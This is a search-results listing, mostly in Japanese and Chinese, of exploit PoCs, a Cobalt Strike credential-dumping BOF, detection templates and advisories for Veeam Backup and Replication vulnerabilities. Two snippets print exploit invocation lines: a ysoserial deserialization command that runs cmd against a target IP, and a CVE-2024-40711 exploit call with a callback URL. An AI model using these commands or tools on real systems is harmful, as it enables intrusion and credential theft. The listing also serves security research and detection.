2265 matches found
CVE-2023-27532
CVE-2023-27532 CVE-2023-27532 に影響を受ける Veeam Backup and Replication の PoC 技術的分析 脆弱性の技術的な根本原因分析は、次のブログでご覧いただけます: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive 概要 この PoC は、安全でない API エンドポイントを悪用して認証情報を抽出します。 使用方法...
CVE-2023-27532
CVE-2023-27532 用于利用 CVE-2023-27532 的概念验证代码，可泄露明文凭据或执行远程命令。 概述 有关漏洞及利用的详细分析，请阅读 Rapid7 的 AttackerKB 分析。 构建 在 Visual Studio 中打开。你需要添加或更新对 Veeam.Backup.Common.dll、Veeam.Backup.Interaction.MountService.dll 和 Veeam.Backup.Model.dll 的引用。为方便起见，可在开发机上安装 Veeam Backup & Replication，但这并非硬性要求。 用法 从远程服务器泄露明文凭...
VeeamDumper-BOF
Veeam Dumper BOF 一个用于 Veeam Backup and Replication 和 Veeam One 的凭据提取 BOF，由 @MWRCyberSec 的 Stephen Munro 和 Logan Kroeger 编写。该 BOF 需要在 Veeam One 或 Veeam Backup and Replication 服务器的 Admin beacon 中执行，并支持 Cobalt Strike 和 Outflank C2。 tldr; The BOF uses sqlcmd.exe/psql.exe to extract encrypted credenti...
CVE-2024-29855
CVE-2024-29855 SummoningTeam @SummoningTeam の Sina Kheirkhah @SinSinology による Veeam Recovery Orchestrator 認証バイパス CVE-2024-29855 技術的分析 この脆弱性の根本原因分析は私のブログにあります 概要 Veeam は、Veeam Recovery Orchestrator に影響を与える 認証バイパス脆弱性 CVE-2024-29855 に関する CVSS 9...
CVE-2022-26503
CVE-2022-26503 概要: Veeam Agent for Microsoft Windows の脆弱性 CVE-2022-26503 は、ローカルでの権限昇格を可能にします。この脆弱性の悪用に成功した攻撃者は、LOCAL SYSTEM 権限で任意のコードを実行できる可能性があります。 @ultrayoba に感謝します。 パッチ: 実装されたパッチは、逆シリアル化の痕跡を示しています: Veeam 公式 KB の記載: Veeam Agent for Microsoft Windows は、Microsoft .NET...
CVE-2024-29849
CVE-2024-29849 Veeam Backup Enterprise Manager 身份验证绕过 CVE-2024-29849 由 Sina Kheirkhah @SinSinology SummoningTeam @SummoningTeam 发现 技术分析 关于该漏洞的根因分析可在我的博客中找到 摘要 支持的版本？ 根据 Veeam 官方公告，所有早于 Veeam Backup Enterprise Manager 12.1.2.172 的版本均受影响 使用方法 首先，您需要为本地 HTTPS 环境进行正确配置，请使用以下命令： openssl req -new -x509...
CVE-2024-40711-Exp
使用法 .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp, --targetveeamport=VALUE The target Veeam Backup...
CVE-2023-27532-RCE-Only
フォーク版 RCE Only フォークしたリポジトリから認証情報漏洩部分を削除し、コンパイルの修正を適用しました。 CVE-2023-27532 CVE-2023-27532を悪用して、平文の認証情報を漏洩させるか、リモートコマンド実行を行うためのProof of Conceptコードです。 概要 脆弱性とその悪用の詳細な分析については、Rapid7のAttackerKB Analysisをお読みください。 ビルド Visual...
CVE-2026-58073-check
Veeam Service Provider Console 代理模拟 — 补丁状态检测脚本 这是一个安全、无需认证的检测器，用于检测 KB4893 中描述的 Veeam Service Provider Console 漏洞（发布于 2026-08-04）。它针对每个目标只回答一个问题，且在任何认证或 TLS 之前：该控制台是否已应用 KB4893 修复？ 最核心的一对漏洞构成了一条攻击链。CVE-2026-58073 （CVSS 9.5）允许未认证的网络对等方模拟已连接的管理代理，并获得该代理的真实证书，因为代理握手是根据对等方写入其 自身 证书中的 GUID...
veeam-velociraptor
Veeam Backup & Replication Velociraptor 工件 - PoC 本仓库包含一组 Velociraptor 工件，作为远程 Veeam Backup & Replication 取证管线的概念验证： artifacts/ 包含工件定义 tools/ 包含一个 qemu-img.zip 归档，可用于 Windows.QEMU.ImgConvert...
veeam-cve-2023-27532-mock
CVE-2023-27532 - Veeam Backup & Replication の脆弱性 脆弱性の説明 Veeam Backup & Replication には、構成データベースに保存されている暗号化された認証情報を取得可能な脆弱性が存在し、攻撃者がバックアップインフラストラクチャのホストにアクセスできるようになります。 Nuclei テンプレート テンプレート veeam-cve-2023-27532.yaml は、複数の検出方法を用いてこの脆弱性を包括的に検出します。 テスト環境のセットアップ Docker の使用 推奨 Build the Docker image...
CVE-2024-40711
CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigger --targetveea...
Veeam Backup & Replication - Unauthenticated
A deserialization of untrusted data vulnerability with a malicious payload can allow an unauthenticated remote code execution RCE. id: CVE-2024-40711 info: name: Veeam Backup & Replication - Unauthenticated author: rootxharsh,iamnoooob,DhiyaneshDK severity: critical description: | A deserializati...
CVE-2026-93026
This vulnerability in Veeam Backup & Replication allows a Backup Viewer to modify the Enterprise Manager master key and stored antivirus update credentials...
CVE-2026-58069
This vulnerability in Veeam Backup & Replication allows an authenticated Cloud Connect tenant to read arbitrary files on the service provider host...
CVE-2026-58068
This vulnerability in Veeam Agent for Microsoft Windows allows any local user to terminate arbitrary processes on the system...
CVE-2025-64393
This vulnerability in Veeam Backup & Replication allows a Backup Viewer to execute arbitrary code as SYSTEM on the backup server...
CVE-2025-64392
This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...
